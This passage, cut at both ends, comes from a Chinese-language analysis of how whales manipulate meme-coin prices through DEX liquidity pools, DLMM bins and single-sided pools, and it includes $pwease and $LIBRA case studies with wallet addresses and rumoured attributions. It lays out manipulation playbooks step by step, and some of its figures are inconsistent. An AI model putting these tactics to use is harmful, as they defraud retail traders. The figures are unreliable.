class="mord">100%</span></span></span></span></em></p><p><em>实操分析：</em></p><table><thead><tr><th>加池倍数(n)</th><th>价格下跌幅度</th><th>散户心理状态</th><th>庄家成本</th></tr></thead><tbody><tr><td>0.5倍</td><td>33.3%</td><td>小幅恐慌</td><td>较低</td></tr><tr><td>1倍</td><td>50%</td><td>中度恐慌</td><td>中等</td></tr><tr><td>4倍</td><td>80%</td><td>极度恐慌</td><td>较高</td></tr><tr><td>9倍</td><td>90%</td><td>绝望抛售</td><td>最高</td></tr></tbody></table><p><em>风险控制：</em></p><p>庄家需要确保有足够的代币储备进行砸盘，同时要承担价格不能回升的风险。因此这种手法通常配合后续的&quot;救市&quot;操作。</p><p><strong>模式三：流动性挖矿陷阱</strong></p><p><em>操作机制：</em></p><ol><li><p><strong>诱饵阶段</strong>：</p><ul><li>项目方推出高APY流动性挖矿（通常300%+）</li><li>通过白皮书和KOL营销包装项目前景</li><li>吸引散户提供 LP（流动性代币对）</li></ul></li><li><p><strong>锁仓阶段</strong>：</p><ul><li>设置较长的锁仓期（7-30天）</li><li>散户无法随时撤出流动性</li><li>庄家获得操控价格的时间窗口</li></ul></li><li><p><strong>收割阶段</strong>：</p><ul><li>在锁仓期内疯狂砸盘，压低代币价格</li><li>散户的LP价值暴跌但无法撤出</li><li>锁仓期结束时，散户发现LP价值已损失60-90%</li></ul></li></ol><p><em>数学分析：</em></p><p>假设散户提供 1000 USDT + 相应数量的MEME组成LP：</p><ul><li>初始MEME价格：0.1 USDT，需要10,000 MEME</li><li>庄家砸盘后价格：0.02 USDT</li><li>散户LP价值：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.1328em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord">1000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">10000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">⋅</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">0.02</span></span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">447</span></span></span></span> USDT</li><li>损失幅度：55.3%</li></ul><p><em>识别技巧：</em></p><ul><li>APY异常高的新项目（&gt;200%）</li><li>锁仓期较长且不可提前解锁</li><li>项目方匿名或信息不透明</li><li>代币分配集中度过高</li></ul><p><strong>模式四：跨池套利操控法</strong></p><p><em>策略原理：</em></p><p>庄家在多个DEX创建相同代币的流动性池，通过在不同池子制造价差来获利。</p><p><em>操作流程：</em></p><ol><li><strong>主池维稳</strong>：在Raydium等主要DEX维持正常价格和深度</li><li><strong>小池作恶</strong>：在Orca等较小DEX故意制造价格偏差</li><li><strong>套利收割</strong>：诱导套利机器人和散户在小池交易</li><li><strong>循环操作</strong>：重复制造价差，持续获利</li></ol><p><em>具体案例：</em></p><p>某MEME币的跨池操作：</p><ul><li>Raydium主池：100万MEME + 1000 SOL，价格 0.0015 SOL</li><li>Orca小池：10万MEME + 50 SOL，庄家故意砸盘至 0.001 SOL</li><li>套利者发现33%价差，在Orca买入然后去Raydium卖出</li><li>庄家在Orca低价收集筹码，在Raydium高价分发筹码</li></ul><p><em>数学模型：</em></p><p>设主池价格 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，小池价格 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，价差率 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord">/</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。</p><p>庄家每轮套利收益 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4831em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord text"><span class="mord cjk_fallback">交易量</span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord cjk_fallback">手续费</span></span><span class="mclose">)</span></span></span></span>。</p><p>当 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03785em;">δ</span></span></span></span> 大于手续费率时，套利机器人就会行动，成为庄家的“搬运工”。</p><p><em>防范策略：</em></p><ul><li>对比多个DEX的价格和深度</li><li>避免在流动性极小的池子交易</li><li>设置合理的滑点容忍度（&lt;3%）</li><li>使用聚合器减少被单一池子操控的风险</li></ul><p><strong>操控模式组合拳</strong></p><p>实际操作中，庄家往往会组合使用多种模式：</p><p><em>典型组合：</em></p><ol><li><strong>扩池+砸盘</strong>：先扩大池子制造深度假象，再单边砸盘收集筹码</li><li><strong>流动性挖矿+跨池套利</strong>：用高APY锁定散户资金，同时在其他池子操控价格</li><li><strong>缩池+拉盘+扩池+砸盘</strong>：完整的&quot;抽水机&quot;循环</li></ol><p><em>时间轴分析：</em></p><table><thead><tr><th>阶段</th><th>操作</th><th>池子状态</th><th>散户行为</th><th>庄家收益</th></tr></thead><tbody><tr><td>T1</td><td>缩池拉盘</td><td>小池深度</td><td>FOMO入场</td><td>高价出货</td></tr><tr><td>T2</td><td>扩池砸盘</td><td>大池深度</td><td>恐慌抛售</td><td>低价收筹</td></tr><tr><td>T3</td><td>横盘整理</td><td>稳定状态</td><td>观望等待</td><td>筹码整理</td></tr><tr><td>T4</td><td>重复循环</td><td>-</td><td>再次上当</td><td>持续收割</td></tr></tbody></table><!-- （移除面向散户的操作清单，聚焦机制与方法论） --><h3 id="4-5-新一代AMM机制：DLMM的威力与风险">4.5 新一代AMM机制：DLMM的威力与风险</h3><p><strong>什么是DLMM（动态流动性做市商）</strong></p><p>DLMM是Meteora推出的创新AMM机制，它革新了传统的流动性管理方式。简单来说，LP可以像挂&quot;限价单&quot;一样，在不同价差范围内分段挂单提供流动性。</p><p><strong>DLMM的数学原理 - “分箱流动性”模型</strong></p><p><em>传统AMM (Uniswap V2) vs DLMM对比：</em></p><table><thead><tr><th>特性</th><th>传统AMM</th><th>DLMM</th></tr></thead><tbody><tr><td>公式</td><td><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span></td><td>每个Bin内：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal">L</span></span></span></span></td></tr><tr><td>流动性分布</td><td>均匀分布在全价格范围</td><td>集中在特定价格区间</td></tr><tr><td>资金利用率</td><td>极低（&lt;5%）</td><td>高效（可达90%+）</td></tr><tr><td>操控难度</td><td>相对简单</td><td>更加灵活精准</td></tr></tbody></table><p><strong>分箱（Bins）机制解析</strong></p><ol><li><p><strong>价格切割</strong>：将价格范围切割为多个连续区间</p><ul><li>例如：1.00-1.01 SOL、1.01-1.02 SOL…</li><li>每个区间称为一个Bin</li></ul></li><li><p><strong>独立流动性</strong>：每个Bin内独立计算流动性</p><ul><li>公式：x + y = L（L是Bin内流动性总量）</li><li>价格P为x+y=L的斜率</li></ul></li><li><p><strong>动态激活</strong>：当市场价格移动到某个Bin时，仅该Bin流动性参与交易</p></li><li><p><strong>价格跳跃</strong>：交易消耗完当前Bin的流动性后，价格自动跳至下一个Bin</p></li></ol><p><strong>DLMM中的庄家操控新玩法</strong></p><p><em>精准价格控制：</em></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">传统AMM拉盘：需要大量资金推动整条曲线</span><br><span class="line">DLMM拉盘：只需填充特定Bin即可制造价格跳跃</span><br></pre></td></tr></table></figure><p><em>案例分析：某MEME币的DLMM操控</em></p><p>假设当前价格0.01 USDT，庄家想拉到0.1 USDT：</p><ol><li><p><strong>布局阶段</strong>：</p><ul><li>在0.01-0.02区间放置少量流动性</li><li>在0.02-0.05区间几乎不放流动性（制造真空）</li><li>在0.05-0.1区间放置大量卖单流动性</li></ul></li><li><p><strong>拉升阶段</strong>：</p><ul><li>用少量资金买穿0.01-0.02的Bin</li><li>价格直接跳跃到0.05（因为中间没有流动性）</li><li>制造10倍涨幅假象</li></ul></li><li><p><strong>收割阶段</strong>：</p><ul><li>FOMO散户在0.05-0.1区间接盘</li><li>庄家的卖单流动性被动成交获利</li></ul></li></ol><p><strong>单边流动性的威力与识别</strong></p><p><em>吸筹型单边池（只加基础货币）：</em></p><p>在LIBRA/SOL池中只加SOL意味着：</p><ul><li>LIBRA价格下跌时，池中LIBRA增加</li><li>庄家以&quot;被动&quot;方式低价吸筹</li><li>表面看是&quot;提供流动性&quot;，实际是精准建仓</li></ul><p><em>出货型单边池（只加项目代币）：</em></p><p>在高位只加LIBRA意味着：</p><ul><li>价格上涨时，LIBRA自动卖出换成SOL</li><li>无需主动砸盘，避免恐慌</li><li>高位悄然出货，散户难以察觉</li></ul><p><strong>Bin价格区间的数学计算</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3175em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">i</span><span class="mtight">n</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.639em;vertical-align:-0.95em;"></span><span class="minner"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3944em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">10000</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.7em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">bin_step</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.689em;"><span style="top:-3.9029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">lower_bin_id</span></span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:1em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">a</span><span class="mtight">x</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.639em;vertical-align:-0.95em;"></span><span class="minner"><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size3">(</span></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3944em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">10000</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.7em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord text"><span class="mord">bin_step</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose delimcenter" style="top:0em;"><span class="delimsizing size3">)</span></span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:1.689em;"><span style="top:-3.9029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord text mtight"><span class="mord mtight">upper_bin_id</span></span></span></span></span></span></span></span></span></span></span></span></span></span></p><p>例如：bin_step=25（0.25%），lower_bin_id=100</p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3175em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">m</span><span class="mtight">i</span><span class="mtight">n</span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1.002</span><span class="mord"><span class="mord">5</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">100</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1.284</span></span></span></span></li><li>意味着该Bin覆盖原价格的128.4%位置</li></ul><p><strong>OKX流动性监控的重要性</strong></p><p>OKX等平台已支持查看单边流动性：</p><ul><li>可识别Dev和老鼠仓地址</li><li>单币种加池 = 潜在操控信号</li><li>配合Bin区间数据可预判庄家意图</li></ul><p><strong>DLMM风险管理策略</strong></p><ol><li><strong>避开流动性真空区</strong>：检查各Bin的流动性分布</li><li><strong>关注单边加池行为</strong>：特别是项目方地址</li><li><strong>设置价格区间警报</strong>：当价格接近异常Bin时及时反应</li><li><strong>使用聚合交易</strong>：避免被单一池子的异常定价影响</li></ol><p><strong>关键洞察</strong></p><p>DLMM让庄家操控从&quot;抡大锤&quot;进化为&quot;精准手术&quot;：</p><ul><li>成本更低：无需推动整条价格曲线</li><li>更加隐蔽：通过Bin设计制造价格假象</li><li>灵活性强：可在任意价格区间布局陷阱</li></ul><p>对散户而言，理解DLMM机制是在新一代DEX中生存的必修课。</p><h2 id="5-现代坐庄的系统性方法">5. 现代坐庄的系统性方法</h2><h3 id="5-1-庄家生态的结构化观察">5.1 庄家生态的结构化观察</h3><p><strong>典型操盘样本</strong></p><p>链上数据可见的若干Meme币案例呈现出相似的操作周期：标的自低价启动，数日内快速拉升至峰值，短时内剧烈回撤。标准化的三段式轨迹包括：</p><ol><li><strong>建仓阶段</strong>：多地址在低位分批吸筹，常见收集比例可达流通筹码的显著份额</li><li><strong>拉盘阶段</strong>：通过缩减池子深度放大价格弹性，并配合KOL/叙事引导</li><li><strong>出货阶段</strong>：高位多地址分批分发，同时维持价格稳定幻象</li></ol><p><strong>KOL生态的角色分化</strong></p><p>社媒“KOL”群体在操盘生态中具有明确分工：</p><ul><li><strong>带货型KOL</strong>：直接收费推广项目，粉丝就是他们的变现工具</li><li><strong>分析型KOL</strong>：看似客观分析，实际暗含立场，引导散户情绪</li><li><strong>内幕型KOL</strong>：确实有信息源，但信息来源往往是项目方或庄家本身</li></ul><p><strong>市场参与者的真实结构</strong>：</p><ul><li><strong>庄家联盟（30%）：</strong> 项目方+早期投资人+做市商，控制绝对话语权</li><li><strong>服务生态（10%）：</strong> KOL+媒体+技术服务商，提供操作配套</li><li><strong>跟风资金（10%）：</strong> 所谓的Smart Money，实际是庄家的跟随者</li><li><strong>散户韭菜（50%）：</strong> 情绪驱动的热钱，承担最大风险，获得最少收益</li></ul><p><strong>庄家操作的系统性</strong></p><p>操盘呈现出高度专业化与流程化：项目筛选标准、资金配置模型、风险控制体系相对完备。这更接近成熟的商业模式与产业分工，而非零散的个体行动。</p><h3 id="5-2-标准化操盘流程">5.2 标准化操盘流程</h3><p><strong>阶段一：标的选择与吸筹</strong></p><ul><li>选择标准：低市值、流动性差、有社区基础、叙事潜力</li><li>吸筹策略：OTC收购、分批建仓、洗盘操作</li></ul><p><strong>阶段二：拉盘与造势</strong></p><ul><li>技术面操控：突破关键阻力位，制造买入信号</li><li>基本面配合：释放利好消息，KOL喊单</li><li>情绪面引导：制造FOMO情绪</li></ul><p><strong>阶段三：高位震荡与出货</strong></p><ul><li>出货的艺术：必须有&quot;高位震荡&quot;</li><li>分批出货策略：维持价格相对稳定</li><li>极端情况：直接Rug Pull</li></ul><h3 id="5-3-多庄家博弈机制">5.3 多庄家博弈机制</h3><table><thead><tr><th>庄家类型</th><th>资金规模</th><th>操作特征</th><th>优势</th><th>劣势</th></tr></thead><tbody><tr><td><strong>超级庄家</strong></td><td>1000万+</td><td>长周期操作，注重基本面</td><td>资金雄厚，抗风险强</td><td>船大难调头，易被狙击</td></tr><tr><td><strong>中型庄家</strong></td><td>100-1000万</td><td>中期波段，技术面主导</td><td>灵活性强，收益率高</td><td>资金有限，受情绪影响</td></tr><tr><td><strong>小型庄家</strong></td><td>10-100万</td><td>短期投机，跟随趋势</td><td>进出灵活，成本低</td><td>控盘能力弱，易被收割</td></tr></tbody></table><h2 id="6-实证案例研究">6. 实证案例研究</h2><h3 id="6-1-pwease-案例分析">6.1 $pwease 案例分析</h3><p>$pwease 是一个政治 meme 币，来源于美国副总统 JD Vance 的质询。通过链上数据分析，发现其完美的庄家画线操作：</p><p><strong>走势特征：</strong></p><ul><li>第一波：3.4日18:00-3.5日02:00，0.005→0.03，6倍，8小时</li><li>第二波：3.8日14:00-3.8日21:00，0.006→0.036，6倍，7小时</li></ul><p><strong>关键地址操作：</strong></p><ul><li>主要操作地址：<code>A1FcqcCM8j1kwJCTi1Gr9hFL3gg1djXxdv2aKXMsc5GG</code></li><li>操作序列：低位减池→单边加SOL→高位减池出货</li></ul><h3 id="6-2-操作信号识别">6.2 操作信号识别</h3><table><thead><tr><th>操作类型</th><th>池子变化特征</th><th>市场信号强度</th><th>散户应对策略</th><th>成功率</th></tr></thead><tbody><tr><td><strong>低位减池+SOL单边增加</strong></td><td>流动性↓20%+SOL↑50%</td><td>强烈看涨</td><td>小仓位跟进抄底</td><td>70%</td></tr><tr><td><strong>高位大量减池</strong></td><td>流动性↓↓50%</td><td>强烈看跌</td><td>立即清仓离场</td><td>85%</td></tr><tr><td><strong>突然撤池50万+</strong></td><td>流动性急剧↓↓↓</td><td>异常操作</td><td>观察二波机会</td><td>40%</td></tr><tr><td><strong>单边加币砸盘</strong></td><td>代币数量↑↑100%</td><td>绝对看跌</td><td>停损逃命</td><td>95%</td></tr></tbody></table><h3 id="6-3-LIBRA-操盘路径（链上推演，未经权威证实）">6.3 $LIBRA 操盘路径（链上推演，未经权威证实）</h3><p>说明：本节为基于链上转账与池子变化的推演与复盘，涉及的舆论与人物关联属于社媒流传内容，未见权威机构正式披露与证实。以下分析仅供研究“单边流动性池”的出货范式，不构成事实性指控。</p><p><strong>示例线索（可自行核验）</strong></p><p>可能的开发者相关地址（传闻）：<code>DefcyKc4yAjRsCLZjdxWuSUzVohXtLna9g22y3pBCm2z</code></p><p><strong>资金分配网络（代币转账记录，节选）</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Dev地址 → 10个操作地址 → 流动性池/归集地址</span><br><span class="line">│</span><br><span class="line">├─ 200M → 地址1（仍持有）</span><br><span class="line">├─ 500M → 地址2 → 地址2-1（仍持有）</span><br><span class="line">├─ 10M → 地址3 → Meteora池 → 9M USDC利润</span><br><span class="line">├─ 10M → 地址4 → 单边流动性 → 26.5M USDC利润</span><br><span class="line">├─ 10M → 地址5 → 单边流动性 → 7.25M USDC利润</span><br><span class="line">├─ 10M → 地址6 → 流动性池 → 1.85M USDC利润</span><br><span class="line">├─ 10M → 地址7 → Meteora(LIBRA-SOL) → 148,342 SOL(29M USD)</span><br><span class="line">├─ 5M → 地址8 → Meteora(LIBRA-SOL) → 69,274 SOL(13.7M USD)</span><br><span class="line">├─ 650K → 地址9 → 地址9-1（仍持有）</span><br><span class="line">└─ 5M → 地址10 → Meteora(LIBRA-SOL) → 32,052 SOL(6.3M USD)</span><br></pre></td></tr></table></figure><p><strong>单边流动性池操作详解</strong></p><p><em>地址4的精准操作（获利26.5M USDC）：</em></p><ol><li><strong>初始建池</strong>：只添加LIBRA代币，不添加USDC</li><li><strong>价格上涨</strong>：散户买入推高价格，LIBRA自动转换为USDC</li><li><strong>动态调整</strong>：在不同价格区间继续添加单边LIBRA</li><li><strong>完美退出</strong>：最终清空所有LIBRA，满仓USDC离场</li></ol><p><em>地址7的SOL收割（获利148,342 SOL）：</em></p><ol><li><strong>选择交易对</strong>：使用LIBRA-SOL而非LIBRA-USDC</li><li><strong>高位加池</strong>：在价格高点大量添加LIBRA单边流动性</li><li><strong>被动成交</strong>：散户用SOL购买，庄家自动获得SOL</li><li><strong>价值29M</strong>：按当时SOL价格195 USDT计算</li></ol><p><strong>归集地址最终收益</strong></p><table><thead><tr><th>归集地址</th><th>收益类型</th><th>金额</th></tr></thead><tbody><tr><td>地址1</td><td>USDC</td><td>42.79M</td></tr><tr><td>地址2</td><td>USDC</td><td>890K</td></tr><tr><td>地址3</td><td>USDC</td><td>890K</td></tr><tr><td>地址4</td><td>SOL</td><td>148,342 (≈29M USD)</td></tr><tr><td>地址5</td><td>SOL</td><td>69,274 (≈13.7M USD)</td></tr><tr><td>地址6</td><td>SOL</td><td>32,052 (≈6.3M USD)</td></tr><tr><td>Dev直接</td><td>USDC</td><td>13.06M</td></tr><tr><td><strong>总计</strong></td><td><strong>混合</strong></td><td><strong>106.63M USD</strong></td></tr></tbody></table><p><strong>操作时间轴分析</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span 